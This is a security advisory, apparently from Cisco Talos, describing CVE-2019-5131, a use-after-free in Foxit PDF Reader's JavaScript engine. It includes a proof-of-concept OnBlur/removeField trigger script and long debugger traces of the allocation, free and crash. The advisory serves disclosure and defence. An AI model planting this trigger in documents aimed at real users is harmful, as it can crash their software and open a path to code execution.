CVE-2019-5131
An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s Foxit PDF Reader, version 9.7.0.29435. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.
Foxit Software Foxit PDF Reader 9.7.0.29435.
https://www.foxitsoftware.com/products/pdf-reader/
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-416: Use After Free
Foxit PDF Reader is one of the most popular PDF document readers. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.
Form fields inside PDF documents can have JavaScript event handlers attached to them. Event handlers are executed when one of the specified “actions” happens. A vulnerability exists in the way Foxit handles OnBlur
actions which are triggered when a field loses focus. An excerpt from the PoC demonstrates this:
function main() {
app.activeDocs[0].getField('txt2').setAction("OnBlur",'f();');
app.activeDocs[0].getField('txt2').setFocus();
app.activeDocs[0].getField('txt1').setFocus();
app.activeDocs[0].removeField("txt2");
}
function f() {
app.activeDocs[0].getField('txt2').setFocus();
}
try{main();}catch(e){app.alert(e);}
In the above code, we first set the OnBlur
event handler for field txt2
, then shift focus to it and immediately shift focus to field txt1
. This invokes the action which refocuses on the same field. When the action is done, we call removeField
to remove the txt2
. Then a use after free is triggered.
If we follow the javascript execution in the debugger we can see that during handling of OnBlur
action an object is being allocated:
bp FoxitReader+0139d142 #allocating
0:000>
eax=002b0480 ebx=00000000 ecx=3b0c9bbb edx=0039dd08 esi=00000014 edi=0d7f6f90
eip=040b9507 esp=0039dde0 ebp=0039ddf0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
FoxitReader!CFXJSE_Arguments::GetValue+0xf75587:
040b9507 ff1594956604 call dword ptr [FoxitReader!CFXJSE_Arguments::GetValue+0x1525614 (04669594)] ds:002b:04669594={ntdll!RtlAllocateHeap (77d75d00)}
0:000> k
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0039ddf0 03e2aed7 FoxitReader!CFXJSE_Arguments::GetValue+0xf75587
0039de04 0238d147 FoxitReader!CFXJSE_Arguments::GetValue+0xce6f57
0039df0c 0238e6e9 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2c6847
0039df50 0238a21f FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2c7de9
0039df64 023864a7 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2c391f
0039dfe0 0260ce31 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2bfba7
0039e010 01795914 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x546531
0039e098 011fe8d1 FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2a0d44
0039e0fc 01b4e9b1 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x5ea1
0039e158 01b24505 FoxitReader!CryptUIWizExport+0x1e6e31
0039e1b4 031439bb FoxitReader!CryptUIWizExport+0x1bc985
0039e1fc 0330bb99 FoxitReader!FXJSE_GetClass+0x22b
0039e250 0330b32f FoxitReader!CFXJSE_Arguments::GetValue+0x1c7c19
0039e2e4 0330b5f1 FoxitReader!CFXJSE_Arguments::GetValue+0x1c73af
0039e32c 0330b48b FoxitReader!CFXJSE_Arguments::GetValue+0x1c7671
0039e348 034b2ac7 FoxitReader!CFXJSE_Arguments::GetValue+0x1c750b
0039e368 03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x36eb47
0039e3a4 03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x2fd480
0039e3d8 0343ef8f FoxitReader!CFXJSE_Arguments::GetValue+0x2fd480
0039e3ec 0343edab FoxitReader!CFXJSE_Arguments::GetValue+0x2fb00f
0039e418 0317a4f6 FoxitReader!CFXJSE_Arguments::GetValue+0x2fae2b
0039e4dc 03179fd7 FoxitReader!CFXJSE_Arguments::GetValue+0x36576
0039e55c 03167177 FoxitReader!CFXJSE_Arguments::GetValue+0x36057
0039e618 0314210f FoxitReader!CFXJSE_Arguments::GetValue+0x231f7
0039e690 03142924 FoxitReader!FXJSE_Runtime_Release+0xc7f
0039e6a4 01ab1e22 FoxitReader!FXJSE_ExecuteScript+0x14
0039e710 01ab2c3d FoxitReader!CryptUIWizExport+0x14a2a2
0039e720 0177251d FoxitReader!CryptUIWizExport+0x14b0bd
0039e738 017716ce FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x27d94d
0039e778 01770570 FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x27cafe
0039e7cc 011508e0 FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x27b9a0
0039e818 0134370b FoxitReader!google::LogMessageVoidify::operator&+0x6ee0
0039f424 03e38c48 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x5821b
0039f4f4 03e39e21 FoxitReader!CFXJSE_Arguments::GetValue+0xcf4cc8
0039f518 03e347c4 FoxitReader!CFXJSE_Arguments::GetValue+0xcf5ea1
0039f58c 03e35037 FoxitReader!CFXJSE_Arguments::GetValue+0xcf0844
0039f5ac 7770bf1b FoxitReader!CFXJSE_Arguments::GetValue+0xcf10b7
0039f5d8 777083ea USER32!_InternalCallWinProc+0x2b
0039f6c0 77707c9e USER32!UserCallWinProcCheckWow+0x3aa
0039f73c 77707a80 USER32!DispatchMessageWorker+0x20e
0039f748 012db2a4 USER32!DispatchMessageW+0x10
0039f764 012db34e FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0xe2874
0039f780 04206811 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0xe291e
0039f798 0401c52e FoxitReader!CFXJSE_Arguments::GetValue+0x10c2891
0039f7e4 77368494 FoxitReader!CFXJSE_Arguments::GetValue+0xed85ae
0039f7f8 77d941c8 KERNEL32!BaseThreadInitThunk+0x24
0039f840 77d94198 ntdll!__RtlUserThreadStart+0x2f
0039f850 00000000 ntdll!_RtlUserThreadStart+0x1b
0:000> ub
FoxitReader!CFXJSE_Arguments::GetValue+0xf75573:
040b94f3 56 push esi
040b94f4 e8514c0100 call FoxitReader!CFXJSE_Arguments::GetValue+0xf8a1ca (040ce14a)
040b94f9 59 pop ecx
040b94fa 85c0 test eax,eax
040b94fc 7415 je FoxitReader!CFXJSE_Arguments::GetValue+0xf75593 (040b9513)
040b94fe 56 push esi
040b94ff 6a00 push 0
040b9501 ff350cd07105 push dword ptr [FoxitReader!fLI::FLAGS_logemaillevel+0xb9b20 (0571d00c)]
0:000> ?esi
Evaluate expression: 20 = 00000014
0:000>
0:000> p
eax=26647fe8 ebx=00000000 ecx=ddf0bde1 edx=01000002 esi=00000014 edi=0d7f6f90
eip=040b950d esp=0039ddec ebp=0039ddf0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
FoxitReader!CFXJSE_Arguments::GetValue+0xf7558d:
040b950d 85c0 test eax,eax
0:000> ?eax
Evaluate expression: 644120552 = 26647fe8
0:000> !heap -p -a eax
address 26647fe8 found in
_DPH_HEAP_ROOT @ 671000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
1f6735e4: 26647fe8 14 - 26647000 2000
unknown!fillpattern
6dfdabb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
77e1245b ntdll!RtlDebugAllocateHeap+0x00000039
77d76dd9 ntdll!RtlpAllocateHeap+0x000000f9
77d75ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
77d75d3e ntdll!RtlAllocateHeap+0x0000003e
040b950d FoxitReader!CFXJSE_Arguments::GetValue+0x00f7558d
03e2aed7 FoxitReader!CFXJSE_Arguments::GetValue+0x00ce6f57
0238d147 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c6847
0238e6e9 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c7de9
0238a21f FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c391f
023864a7 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002bfba7
0260ce31 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00546531
01795914 FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x002a0d44
011fe8d1 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00005ea1
01b4e9b1 FoxitReader!CryptUIWizExport+0x001e6e31
01b24505 FoxitReader!CryptUIWizExport+0x001bc985
031439bb FoxitReader!FXJSE_GetClass+0x0000022b
0330bb99 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7c19
0330b32f FoxitReader!CFXJSE_Arguments::GetValue+0x001c73af
0330b5f1 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7671
0330b48b FoxitReader!CFXJSE_Arguments::GetValue+0x001c750b
034b2ac7 FoxitReader!CFXJSE_Arguments::GetValue+0x0036eb47
03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
0343ef8f FoxitReader!CFXJSE_Arguments::GetValue+0x002fb00f
0343edab FoxitReader!CFXJSE_Arguments::GetValue+0x002fae2b
0317a4f6 FoxitReader!CFXJSE_Arguments::GetValue+0x00036576
03179fd7 FoxitReader!CFXJSE_Arguments::GetValue+0x00036057
03167177 FoxitReader!CFXJSE_Arguments::GetValue+0x000231f7
0314210f FoxitReader!FXJSE_Runtime_Release+0x00000c7f
03142924 FoxitReader!FXJSE_ExecuteScript+0x00000014
01ab1e22 FoxitReader!CryptUIWizExport+0x0014a2a2
Continuing the execution shows the object being freed:
bp FoxitReader+0139c2e2-5 # calling free
0:000> g
Breakpoint 1 hit
eax=00000005 ebx=0d7f6fac ecx=199f3ff8 edx=199f3ffc esi=26647fe8 edi=1f944fe8
eip=0238c2dd esp=0039df40 ebp=0039df60 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2c59dd:
0238c2dd e83603c901 call FoxitReader!CFXJSE_Arguments::GetValue+0xed8698 (0401c618)
0:000> !heap -p -a poi(esp)
address 26647fe8 found in
_DPH_HEAP_ROOT @ 671000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
1f6735e4: 26647fe8 14 - 26647000 2000
? FoxitReader!std::basic_streambuf<char,std::char_traits<char> >::`vftable'+ab4d4
6dfdabb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
77e1245b ntdll!RtlDebugAllocateHeap+0x00000039
77d76dd9 ntdll!RtlpAllocateHeap+0x000000f9
77d75ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
77d75d3e ntdll!RtlAllocateHeap+0x0000003e
040b950d FoxitReader!CFXJSE_Arguments::GetValue+0x00f7558d
03e2aed7 FoxitReader!CFXJSE_Arguments::GetValue+0x00ce6f57
0238d147 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c6847
0238e6e9 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c7de9
0238a21f FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c391f
023864a7 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002bfba7
0260ce31 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00546531
01795914 FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x002a0d44
011fe8d1 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00005ea1
01b4e9b1 FoxitReader!CryptUIWizExport+0x001e6e31
01b24505 FoxitReader!CryptUIWizExport+0x001bc985
031439bb FoxitReader!FXJSE_GetClass+0x0000022b
0330bb99 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7c19
0330b32f FoxitReader!CFXJSE_Arguments::GetValue+0x001c73af
0330b5f1 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7671
0330b48b FoxitReader!CFXJSE_Arguments::GetValue+0x001c750b
034b2ac7 FoxitReader!CFXJSE_Arguments::GetValue+0x0036eb47
03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
0343ef8f FoxitReader!CFXJSE_Arguments::GetValue+0x002fb00f
0343edab FoxitReader!CFXJSE_Arguments::GetValue+0x002fae2b
0317a4f6 FoxitReader!CFXJSE_Arguments::GetValue+0x00036576
03179fd7 FoxitReader!CFXJSE_Arguments::GetValue+0x00036057
03167177 FoxitReader!CFXJSE_Arguments::GetValue+0x000231f7
0314210f FoxitReader!FXJSE_Runtime_Release+0x00000c7f
03142924 FoxitReader!FXJSE_ExecuteScript+0x00000014
01ab1e22 FoxitReader!CryptUIWizExport+0x0014a2a2
0:000>
The code above shows the object just before it’s freed. Continuing the execution after the field is removed causes a crash (with PageHeap enabled):
0:000> g
(1374.bc4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=26647fe8 ebx=0d7f6f94 ecx=0d7f6f94 edx=1b46af84 esi=0d7f6f94 edi=1d908e90
eip=0238d560 esp=0039ddb0 ebp=0039dde4 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206
FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2c6c60:
0238d560 8b4808 mov ecx,dword ptr [eax+8] ds:002b:26647ff0=????????
0:000> !heap -p -a eax
address 26647fe8 found in
_DPH_HEAP_ROOT @ 671000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
1f6735e4: 26647000 2000
6dfdae02 verifier!AVrfDebugPageHeapFree+0x000000c2
77e12c91 ntdll!RtlDebugFreeHeap+0x0000003e
77d73c45 ntdll!RtlpFreeHeap+0x000000d5
77d73812 ntdll!RtlFreeHeap+0x00000222
040b94b7 FoxitReader!CFXJSE_Arguments::GetValue+0x00f75537
04097261 FoxitReader!CFXJSE_Arguments::GetValue+0x00f532e1
0401c623 FoxitReader!CFXJSE_Arguments::GetValue+0x00ed86a3
0238c2e2 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c59e2
0238c750 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c5e50
0238c52e FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c5c2e
02388152 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c1852
0238839b FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c1a9b
0238773b FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c0e3b
023869a6 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002c00a6
02386116 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x002bf816
0260caf8 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x005461f8
0179546c FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x002a089c
01226230 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002d800
01a82017 FoxitReader!CryptUIWizExport+0x0011a497
01a319f5 FoxitReader!CryptUIWizExport+0x000c9e75
031439bb FoxitReader!FXJSE_GetClass+0x0000022b
0330bb99 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7c19
0330b32f FoxitReader!CFXJSE_Arguments::GetValue+0x001c73af
0330b5f1 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7671
0330b48b FoxitReader!CFXJSE_Arguments::GetValue+0x001c750b
034b2ac7 FoxitReader!CFXJSE_Arguments::GetValue+0x0036eb47
03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
0343ef8f FoxitReader!CFXJSE_Arguments::GetValue+0x002fb00f
0343edab FoxitReader!CFXJSE_Arguments::GetValue+0x002fae2b
0317a4f6 FoxitReader!CFXJSE_Arguments::GetValue+0x00036576
03179fd7 FoxitReader!CFXJSE_Arguments::GetValue+0x00036057
0:000>
The crash is due to a read access of a freed object. Manipulating the freed memory before it is reused can lead to arbitrary code execution.
2019-10-23 - Vendor Disclosure
2020-01-16 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.